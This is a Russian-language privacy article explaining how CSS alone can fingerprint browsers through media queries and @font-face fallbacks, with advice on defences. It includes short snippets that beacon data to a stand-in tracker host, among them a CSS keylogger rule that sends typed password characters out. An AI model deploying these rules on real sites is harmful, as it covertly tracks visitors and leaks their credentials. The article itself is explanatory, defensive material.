Медиа-запросы CSS и @font-face могут выдать тёмную тему, тип указателя, разрешение экрана и даже установленные шрифты — без единой строки JavaScript.
Большинство защит от фингерпринтинга исходят из того, что угроза приходит из JavaScript: заблокируй скрипты — и слежка прекратится. CSS ломает это допущение. Один только файл стилей — без единого тега <script> на странице — способен определить, включена ли у вас тёмная тема, работаете ли вы с сенсорным экраном или мышью, насколько чёткий у вас дисплей, и даже установлен ли конкретный шрифт — просто выбирая, какой сетевой запрос отправит браузер. Поскольку эта техника вообще не затрагивает движок JavaScript, она обходит NoScript, блокировщики скриптов и режимы просмотра с отключённым JS, которые останавливают почти всё остальное.
Ключевые выводы
- CSS способен снять отпечаток браузера вообще без JavaScript — правила
@mediaзаставляютbackground-imageэлемента (или источник в@font-face) загружаться условно, а сам выбор того, какой URL запросит браузер, выдаёт ответ серверу трекера. - Медиа-функции
prefers-color-scheme,prefers-reduced-motion,hover,pointerиresolution— каждая раскрывает через этот механизм один (или больше) бит состояния устройства, ОС или настроек доступности. - Классический трюк определения шрифтов без JS сочетает источник
local()в@font-faceс сетевым запасным вариантом: если названный шрифт не установлен локально, браузер вместо этого загружает удалённый файл — раскрывая присутствие шрифта без единого вызоваqueryLocalFonts()или измерения текста через JavaScript. - Родственная, более инвазивная техника на чистом CSS использует селекторы атрибутов, чтобы посимвольно сопоставлять живые значения полей формы — по сути, собирая CSS-кейлоггер вообще без JavaScript.
- Поскольку блокировать нечего — скрипта попросту нет, — отключение JavaScript, использование NoScript или расширений приватности, нацеленных на JS, не останавливает CSS-фингерпринтинг или утечку данных: защищаться нужно на уровне CSS и сети.
Что такое CSS-фингерпринтинг?
CSS-фингерпринтинг — это практика выведения состояния устройства, браузера или настроек доступности из того, какие правила стилей браузер решает применить — и, что критично, какие сетевые запросы эти правила запускают. Браузер загружает background-image, источник в @font-face или похожий внешний ресурс только тогда, когда ссылающееся на него CSS-правило действительно совпадает с текущей страницей и медиа-условиями. Трекер использует это как побочный канал на один бит (или больше): даёт двум разным правилам два разных URL, каждое обуславливает своим @media-условием — и то, какой URL долетит до сервера трекера, скажет ему, какое условие было истинным, причём без единой строки JavaScript, выполненной в браузере посетителя.
Это не теоретическое любопытство. Проект Cover Your Tracks от EFF документирует, как сочетания пассивных сигналов — включая утечки такого рода через рендеринг и настройки — складываются в отличительный профиль, в том же духе, что и фингерпринтинг по шрифтам и Canvas-фингерпринтинг, просто собранные совершенно другим механизмом.
Главный трюк: условные сетевые запросы
В основе почти любой техники отслеживания на чистом CSS лежит одна и та же схема:
/* Загружается только браузерами, у которых совпадает медиа-условие */
@media (prefers-color-scheme: dark) {
body {
background-image: url("https://tracking.example/beacon?signal=dark");
}
}
@media (prefers-color-scheme: light) {
body {
background-image: url("https://tracking.example/beacon?signal=light");
}
}
Браузер в тёмном режиме запросит первый URL, браузер в светлом — второй. Серверу трекера вообще не нужен JavaScript, чтобы прочитать значение — достаточно заметить, какой URL пришёл. Согласно спецификации W3C Media Queries, таким же образом применение правила может обуславливать любая функция @media, а значит, в принципе, в канал утечки можно превратить любую медиа-функцию, которую раскрывает браузер.
Прощупывание настроек и оборудования через медиа-функции
Несколько стандартных медиа-функций по-настоящему полезны для адаптивной вёрстки — и каждая из них одновременно служит сигналом для фингерпринтинга при сочетании с описанной выше техникой:
| Медиа-функция | Законное применение | Что раскрывает |
|---|---|---|
prefers-color-scheme | Тёмная/светлая тема оформления | Настройка темы на уровне ОС или браузера |
prefers-reduced-motion | Снижение анимации для доступности | Включена ли у пользователя настройка доступности — само по себе сигнал, сужающий круг пользователей |
pointer и hover | Подгонка размеров зон нажатия под сенсор или мышь | Грубый класс устройства: сенсорный экран, мышь или гибридное устройство с обоими вариантами |
resolution | Показ более чётких изображений на экранах с высокой плотностью пикселей | Плотность пикселей экрана, сужающая тип устройства/дисплея |
Ни одна из этих утечек сама по себе не фатальна — предпочтение цветовой темы или тип указателя разделяют множество людей. Смысл, как и с любым сигналом фингерпринтинга, в том, что их дёшево собирать массово и сочетать со всем остальным, что страница может о вас узнать — с JavaScript или без него. Поддержка этих функций браузерами широкая, но не универсальная в старых движках; актуальное покрытие именно интерактивных медиа-функций смотрите на caniuse.
Прощупывание шрифтов без JavaScript
Самая впечатляющая техника на чистом CSS нацелена на установленные шрифты — тот же сигнал, что фингерпринтинг по шрифтам собирает через JavaScript, но здесь он добывается через поведение запасного варианта в @font-face. @font-face позволяет списку src сочетать источник local() с удалённым запасным вариантом url():
@font-face {
font-family: "probe-calibri";
/* Если «Calibri» установлен локально, браузер использует его и никогда
не запрашивает удалённый URL. Если шрифта нет — загружается удалённый файл. */
src: local("Calibri"), url("https://tracking.example/beacon?font=calibri");
}
.probe { font-family: "probe-calibri", sans-serif; }
Если у посетителя установлен Calibri, браузер разрешит шрифт локально, и удалённый запрос никогда не сработает. Если шрифта нет, браузер молча откатится на сетевой источник — и именно этот запрос выдаст его. Повторите этот паттерн со списком распространённых названий шрифтов, каждое из которых указывает на отдельный URL трекера, и страница соберёт профиль присутствия/отсутствия шрифтов вообще без JavaScript — используя ровно ту же логику запасного варианта, на которой строится техника из нашего руководства по фингерпринтингу шрифтов, только на этот раз она наблюдается со стороны сервера, а не измеряется на клиенте.
CSS как кейлоггер
Более агрессивная родственная техника использует селекторы атрибутов, чтобы сопоставлять текущее значение поля формы:
input[type="password"][value^="a"] {
background-image: url("https://tracking.example/beacon?char=a");
}
Поскольку CSS переоценивает селекторы при каждом изменении DOM, подобное правило срабатывает — и запускает запрос — в момент ввода совпадающего символа, ещё до нажатия любой кнопки отправки. Исследователь безопасности Max Chehab опубликовал рабочий proof-of-concept CSS-кейлоггер, целиком построенный на правилах с селекторами атрибутов вроде этого, продемонстрировав, что значимая утечка данных вообще не требует JavaScript. Большинство современных фреймворков, отрисовывающих поля пароля, больше не раскрывают сырой атрибут value таким образом, но лежащий в основе механизм CSS — совпадение селектора, запускающее сетевой запрос — идентичен трюкам с медиа-запросами и шрифтами выше.
Почему это переживает блокировщики скриптов
CSS-фингерпринтинг важен не потому, что какой-то один сигнал уникально мощный, а потому, что он бьёт точно в слепую зону того, как люди обычно защищаются. Отключение JavaScript, запуск NoScript или расширение-блокировщик скриптов останавливает подавляющее большинство отслеживающих скриптов, чтений canvas и вызовов API. Ничего из этого не затрагивает CSS. Браузеру в принципе приходится разбирать и применять таблицы стилей, чтобы вообще отрисовать страницу, а загрузка ресурсов, на которые ссылаются эти стили, — неотъемлемая часть этой работы: никакого «безопасного режима», пропускающего этот шаг, не существует. Именно поэтому эта техника вписывается в ту же тему, что WebGL- и аудио-фингерпринтинг: как и они, она переживает очистку cookie и приватный просмотр, поскольку ничем не зависит от хранимых данных — но, в отличие от них, она переживает ещё и полное отключение движка выполнения скриптов, то есть именно тот уровень, на котором сосредоточена большая часть советов по приватности. О комбинаторике того, почему наложение нескольких слабых сигналов вроде этих превращается в сильный идентификатор, читайте в нашем руководстве по фингерпринтингу браузера.
Как защититься
- Блокируйте сторонние таблицы стилей и шрифты, которые вы не запрашивали, точно так же как блокируете сторонние скрипты — большинство расширений для блокировки контента умеют ограничивать кросс-доменную загрузку CSS и шрифтов, а не только JavaScript.
- Отключите загрузку удалённых шрифтов там, где это позволяет ваш браузер; это напрямую закрывает вектор прощупывания шрифтов через запасной вариант
local(), ценой того, что кастомные шрифты некоторых сайтов перестанут отображаться. - Используйте браузер или режим, стандартизирующий раскрытие настроек. Та же философия единообразия, которая помогает против canvas- и шрифтового фингерпринтинга — стандартизированная среда Tor Browser,
privacy.resistFingerprintingв Firefox — заодно снижает, насколькоprefers-color-scheme,pointerи похожие функции отклоняются от нормы. - Отдавайте предпочтение фреймворкам, которые не протекают текущими значениями полей ввода в DOM в виде атрибутов — это отдельно закрывает вектор CSS-кейлоггера.
Часто задаваемые вопросы
Нужен ли CSS-фингерпринтингу JavaScript?
Нет. Каждая описанная здесь техника работает на чистом CSS — правилах @media и запасных вариантах @font-face, условно запускающих сетевой запрос. Именно это делает её примечательной: защиты, нацеленные на JavaScript, её не затрагивают.
Может ли NoScript или блокировщик скриптов остановить это?
Нет. Блокировка выполнения JavaScript никак не влияет ни на разбор CSS, ни на запросы ресурсов, которые запускает таблица стилей. Чтобы остановить отслеживание на основе CSS, нужно блокировать конкретные кросс-доменные запросы CSS/шрифтов/изображений, а не движок скриптов.
Так же ли мощен CSS-фингерпринтинг, как canvas- или WebGL-фингерпринтинг?
Сам по себе нет — каждая медиа-функция или шрифтовой зонд раскрывает небольшой, грубый сигнал, а не хеш с высокой энтропией. Он становится значимым так же, как и большинство сигналов фингерпринтинга: в сочетании со всем остальным, что может наблюдать страница, — подробнее в нашем руководстве по фингерпринтингу браузера.
Как проверить, что раскрывает мой собственный браузер?
Запустите проверку отпечатка от BrowserInsight, чтобы увидеть сигналы, которые ваш браузер раскрывает через JavaScript, и дополните её блокировщиком контента, настроенным на ограничение сторонних таблиц стилей и шрифтов, поскольку одной лишь блокировки скриптов для этой поверхности недостаточно.
Заключение
CSS-фингерпринтинг превращает повседневную функцию рендеринга — решение браузера о том, какой ресурс загрузить, — в канал слежки, которому никогда не нужен JavaScript. Фоновые изображения, обусловленные медиа-запросами, раскрывают такие настройки, как цветовая тема и тип указателя; логика запасного варианта в @font-face раскрывает установленные шрифты; селекторы атрибутов способны раскрыть даже символы, набранные в форме. Ничто из этого не останавливается отключением скриптов — именно поэтому об этом стоит знать, даже если вы уже укрепили свою защиту от JavaScript в других местах.
Рекомендуем прочитать:


